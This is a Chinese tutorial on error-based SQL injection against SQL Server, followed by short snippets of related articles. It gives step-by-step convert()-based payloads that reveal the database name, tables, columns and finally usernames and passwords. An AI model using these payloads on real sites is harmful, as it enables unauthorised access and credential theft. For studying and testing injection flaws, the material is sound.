該注入的條件是必須有報錯資訊
用到函式convert(int,(select top 1 db_name() )),其含義是將第二個引數的值轉換成第乙個引數的int型別
一、開啟檔案,如下圖所示,有報錯資訊:
二、檢視資料庫
輸入: and 1=convert(int,(select top 1 db_name()));這裡由報錯資訊可看到資料庫的名字是」test「
三、檢視資料庫的表
輸入: and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype='u''));可檢視資料庫的第乙個表
輸入: and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype='u' and name !='users'));可檢視資料庫的第二張表,依次類推……
四、檢視對應表的字段
輸入: and 1=convert(int,(select top 1 name from test.sys.syscolumns where id=object_id('users') and name !='id'));可檢視該錶對應的字段
輸入: and 1=convert(int,(select top 1 name from test.sys.syscolumns where id=object_id('users') and name !='id' and name !='username'));可檢視第三個字段,依次類推……
五、檢視使用者名稱和密碼資訊
輸入: and 1=convert(int,(select top 1 username+password from users ));可檢視第乙個使用者名稱和密碼
輸入: and 1=convert(int,(select top 1 username+password from users where username!='zs'));可檢視第二個使用者名稱和密碼,以此類推……
SQL注入 sql server
談到sql注入,不得不提它的本質,把使用者的輸入資料當做 來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入 第二個是程式要執行的 拼接了使用者輸入的資料 按照注入的技術型別可分解為 顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章...
SQL Server加密與SQL注入
sql server上的加密 sql server上內建了加密用來保護各種型別的敏感資料。在很多時候,這個加密對於你來說是完全透明的 當資料被儲存時候被加密,它們被使用的時候就會自動加密。在其他的情況下,你可以選擇資料是否要被加密。sql server可以加密下列這些元件 密碼 儲存過程,檢視,觸發...
sql注入 sqlserver聯合查詢
實驗環境 sqlserver 2008 實驗步驟 一 判斷是否有注入 分別輸入ip 1.php?id 1 and 1 1和ip 1.php?id 1 and 1 2可判斷出該處存在注入 二 判斷顯示位 1.輸入 order by 3,顯示出第三列 2.輸入 order by 4,顯示下面情況,說明顯...